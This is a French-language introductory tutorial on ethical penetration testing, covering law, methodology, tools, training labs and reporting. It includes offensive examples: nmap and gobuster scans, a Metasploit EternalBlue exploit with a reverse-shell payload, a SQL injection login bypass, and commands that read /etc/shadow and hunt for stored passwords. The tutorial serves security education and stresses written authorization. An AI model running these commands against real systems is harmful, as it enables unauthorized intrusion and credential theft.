Introduction au pentesting éthique
Le pentesting (test d'intrusion) consiste à attaquer légalement un système informatique pour identifier ses failles avant qu'un vrai attaquant ne le fasse. C'est l'un des métiers les plus recherchés en cybersécurité. Voici comment démarrer.
Qu'est-ce que le pentesting éthique ?
Un pentester éthique (ou hacker éthique) est mandaté par une organisation pour tenter de compromettre ses systèmes. L'objectif est d'identifier les vulnérabilités et de les corriger avant qu'elles ne soient exploitées par des attaquants malveillants.
> ⚠️ Avertissement légal : Toute intrusion informatique sans autorisation écrite explicite est un délit pénal. Ne testez jamais des systèmes qui ne vous appartiennent pas ou pour lesquels vous n'avez pas d'autorisation écrite.
Le cadre légal
En France
La loi Godfrain (art. 323-1 du Code pénal) punit :
- L'accès frauduleux à un système : 2 ans et 60 000€
- Le maintien frauduleux : 3 ans et 100 000€
- L'entrave au fonctionnement : 5 ans et 150 000€
Les autorisations nécessaires
Avant tout test, vous devez avoir :
✅ Contrat de prestation signé
✅ Périmètre précisément défini (quels systèmes, quelles IPs)
✅ Fenêtre temporelle autorisée
✅ Contacts d'urgence en cas d'incident
✅ Clause de confidentialité (NDA)
La méthodologie de pentesting
Les 5 phases d'un pentest
1. RECONNAISSANCE
Collecter des informations sur la cible
↓
SCAN & ENUMÉRATION
Identifier les systèmes et services actifs
↓
EXPLOITATION
Exploiter les vulnérabilités trouvées
↓
POST-EXPLOITATION
Approfondir l'accès, pivoting
↓
RAPPORT
Documenter et recommander des corrections
Phase 1 : Reconnaissance
La reconnaissance peut être passive (sans contact avec la cible) ou active (envoi de requêtes vers la cible).
# Reconnaissance passive - OSINT (Open Source Intelligence)
Informations sur un domaine
whois exemple.com
Recherche de sous-domaines (passif)
Via crt.sh - certificats SSL publics
curl "https://crt.sh/?q=%.exemple.com&output=json" | jq '.[].name_value'
Google Dorks - recherches avancées Google
site:exemple.com filetype:pdf
site:exemple.com inurl:admin
"exemple.com" ext:sql OR ext:env OR ext:config
Phase 2 : Scan et énumération
# Nmap - scanner de ports incontournable
Scan basique
nmap 192.168.1.1
Scan de tous les ports avec détection de services
nmap -sV -p 1-65535 192.168.1.1
Scan furtif (SYN scan)
nmap -sS 192.168.1.1
Détection du système d'exploitation
nmap -O 192.168.1.1
Script de vulnérabilités automatique
nmap --script vuln 192.168.1.1
Scan d'un réseau complet
nmap -sn 192.168.1.0/24 # Découverte d'hôtes
# Énumération web avec Gobuster
Trouver des répertoires et fichiers cachés
gobuster dir -u http://cible.com -w /usr/share/wordlists/dirb/common.txt
Énumération de sous-domaines
gobuster dns -d cible.com -w /usr/share/wordlists/dnsmap.txt
Phase 3 : Exploitation
# Metasploit Framework - framework d'exploitation
msfconsole
Rechercher un exploit
msf> search type:exploit name:eternalblue
Utiliser un exploit
msf> use exploit/windows/smb/ms17_010_eternalblue
msf> set RHOSTS 192.168.1.10
msf> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf> set LHOST 192.168.1.5
msf> run
# Exemple simple : test d'injection SQL manuelle
Sur un formulaire de login vulnérable
Payload basique SQLi
username = "admin' OR '1'='1' --"
password = "anything"
Ce que ça génère comme requête SQL :
SELECT * FROM users WHERE username='admin' OR '1'='1' --' AND password='anything'
Le '--' commente le reste → authentification contournée
Phase 4 : Post-exploitation
Une fois l'accès obtenu, on cherche à :
- Élever ses privilèges (devenir administrateur)
- Se déplacer latéralement (compromettre d'autres machines)
- Exfiltrer des données (prouver l'impact)
- Maintenir l'accès (persistence)
# Sur un système Linux compromis
Vérifier les privilèges actuels
id
whoami
Chercher des fichiers SUID (escalade de privilèges)
find / -perm -4000 -type f 2>/dev/null
Chercher des credentials stockés
grep -r "password" /etc/ 2>/dev/null
cat /etc/shadow # Hashes des mots de passe
Historique des commandes
cat ~/.bash_history
Les outils essentiels
Distribution Kali Linux
Kali Linux est la distribution de référence pour le pentesting. Elle inclut plus de 600 outils préinstallés.
# Installer Kali Linux en machine virtuelle ou WSL
https://www.kali.org/get-kali/
Ou en ligne de commande Windows
wsl --install -d kali-linux
Les outils incontournables
| Catégorie | Outil | Usage |
|-----------|-------|-------|
| Scan réseau | Nmap | Découverte de ports/services |
| Web | Burp Suite | Proxy d'interception HTTP |
| Web | OWASP ZAP | Scanner de vulnérabilités web |
| Exploitation | Metasploit | Framework d'exploitation |
| Passwords | Hashcat | Cracking de hashes |
| Passwords | John the Ripper | Cracking de mots de passe |
| MITM | Wireshark | Analyse de trafic réseau |
| OSINT | Maltego | Cartographie de cibles |
Burp Suite - L'outil web essentiel
Navigateur → [Burp Proxy] → Serveur web
↓
Intercept, modifier,
rejouer les requêtes HTTP
Les plateformes d'entraînement légales
Pratiquez sur des environnements légalement prévus pour ça :
| Plateforme | Type | Niveau |
|------------|------|--------|
| HackTheBox | Machines CTF | Débutant → Expert |
| TryHackMe | Parcours guidés | Débutant |
| VulnHub | VMs locales | Tous niveaux |
| DVWA | Web app vulnérable | Débutant |
| PicoCTF | CTF académique | Débutant |
# Installer DVWA localement avec Docker
docker run --rm -it -p 80:80 vulnerables/web-dvwa
Accéder à http://localhost
Login : admin / password
La phase la plus importante : le rapport
Un pentest sans rapport ne sert à rien. Le rapport doit contenir :
1. RÉSUMÉ EXÉCUTIF
Pour la direction : impact business, risques globaux
MÉTHODOLOGIE
Ce qui a été testé, comment, pendant combien de temps
VULNÉRABILITÉS TROUVÉES
Pour chaque vulnérabilité :
- Description technique
- Niveau de criticité (CVSS score)
- Preuve d'exploitation (screenshot, log)
- Recommandation de correction
CONCLUSION
Posture sécurité globale et priorités
Scoring CVSS
Le CVSS (Common Vulnerability Scoring System) note les vulnérabilités de 0 à 10 :
| Score | Criticité | Couleur |
|-------|-----------|---------|
| 0.0 | Informationnel | Gris |
| 0.1 - 3.9 | Faible | Vert |
| 4.0 - 6.9 | Moyen | Orange |
| 7.0 - 8.9 | Élevé | Rouge |
| 9.0 - 10.0 | Critique | Rouge foncé |
Les certifications reconnues
Pour devenir pentester professionnel :
| Certification | Organisme | Niveau |
|---------------|-----------|--------|
| CEH | EC-Council | Débutant |
| OSCP | Offensive Security | Intermédiaire |
| CRTO | Zero-Point Security | Intermédiaire |
| OSEP | Offensive Security | Avancé |
| CISSP | (ISC)² | Expert |
> OSCP est la certification la plus reconnue en pentesting — elle exige de compromettre réellement des machines dans un examen de 24h.
Conclusion
Le pentesting est un domaine passionnant qui combine technique, créativité et rigueur légale. Commencez par TryHackMe pour les bases, progressez sur HackTheBox, obtenez l'OSCP et vous serez employable dans n'importe quelle équipe sécurité. Mais rappellez-vous toujours : jamais sans autorisation écrite.